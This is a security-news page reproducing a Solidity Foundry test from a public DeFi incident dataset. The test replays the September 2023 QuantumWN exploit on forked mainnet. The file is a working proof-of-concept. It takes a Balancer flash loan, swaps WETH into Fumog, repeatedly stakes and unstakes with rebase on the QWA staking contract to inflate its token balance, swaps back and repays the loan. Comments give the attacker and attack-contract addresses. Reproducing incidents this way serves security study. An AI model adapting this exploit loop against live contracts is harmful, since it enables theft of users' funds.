Skip to content
THREATWIRE

Public reproduction file

src/test/2023-09/QuantumWN_exp.sol

Public reproduction file for dataset entry QuantumWN.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-09/QuantumWN_exp.sol72 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo -- Total Lost : ~0.5 ETH
8// TX : https://app.blocksec.com/explorer/tx/eth/0xa4659632a983b3bfd1b6248fd52d8f247a9fcdc1915f7d38f01008cff285d0bf
9// Attacker : https://etherscan.io/address/0x6ce9fa08f139f5e48bc607845e57efe9aa34c9f6
10// Attack Contract : https://etherscan.io/address/0x154863eb71de4a34f88ea57450840eab1c71aba6
11// GUY : https://x.com/DecurityHQ/status/1699384904218202618
13interface IStaking {
14 function unstake(address _to, uint256 _amount, bool _rebase) external;
15 function stake(address _to, uint256 _amount) external;
18contract Exploit is Test {
19 IBalancerVault balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
20 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
21 IUniswapV2Router Router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
22 IERC20 Fumog = IERC20(0xc14F8A4C8272b8466659D0f058895E2F9D3ae065);
23 IStaking QWAStaking = IStaking(0x69422c7F237D70FCd55C218568a67d00dc4ea068);
24 IERC20 Sfumog = IERC20(0xf5bF1f78EDa7537F9cAb002a8F533e2733DDfBbC);
26 function setUp() public {
27 vm.createSelectFork("mainnet", 18_070_348);
28 }
30 function testExploit() public {
31 address[] memory token = new address[](1);
32 token[0] = address(WETH);
33 uint256[] memory amount = new uint256[](1);
34 amount[0] = 5 ether;
35 balancer.flashLoan(address(this), token, amount, hex"28");
36 emit log_named_decimal_uint("[End] Attacker WETH after exploit", WETH.balanceOf(address(this)), 18);
37 }
39 function receiveFlashLoan(
40 address[] memory, /*tokens*/
41 uint256[] memory amounts,
42 uint256[] memory feeAmounts,
43 bytes memory userData
44 ) external {
45 WETH.approve(address(Router), type(uint256).max);
46 address[] memory path = new address[](2);
47 path[0] = address(WETH);
48 path[1] = address(Fumog);
49 Router.swapExactTokensForTokens(amounts[0], 0, path, address(this), block.timestamp);
50 Fumog.approve(address(QWAStaking), type(uint256).max);
51 Sfumog.approve(address(QWAStaking), type(uint256).max);
53 uint8 i = 0;
54 while (i < uint8(userData[0])) {
55 i += 1;
56 uint256 amountJump = Fumog.balanceOf(address(this));
57 QWAStaking.stake(address(this), amountJump);
58 uint256 amountSJump = Sfumog.balanceOf(address(this));
59 QWAStaking.unstake(address(this), amountSJump, true);
60 }
62 Fumog.approve(address(Router), type(uint256).max);
63 uint256 amount = Fumog.balanceOf(address(this));
64 // emit log_named_decimal_uint("Fumog token balance after exploit", amount, Fumog.decimals());
65 path[0] = address(Fumog);
66 path[1] = address(WETH);
67 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
68 WETH.transfer(address(balancer), amounts[0] + feeAmounts[0]);
69 }
71 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “QuantumWN” (2023-09-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x6ce9fa08f139f5e48bc607845e57efe9aa34c9f6

  • Attack Contract

    0x154863eb71de4a34f88ea57450840eab1c71aba6

File record

Name
QuantumWN
Path
src/test/2023-09/QuantumWN_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d531e326d0a248f07806aec747ffc90568555964
Language
Solidity
Size
73 lines
Date
2023-09-05
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-09/QuantumWN_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d531e326d0a248f07806aec747ffc90568555964, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.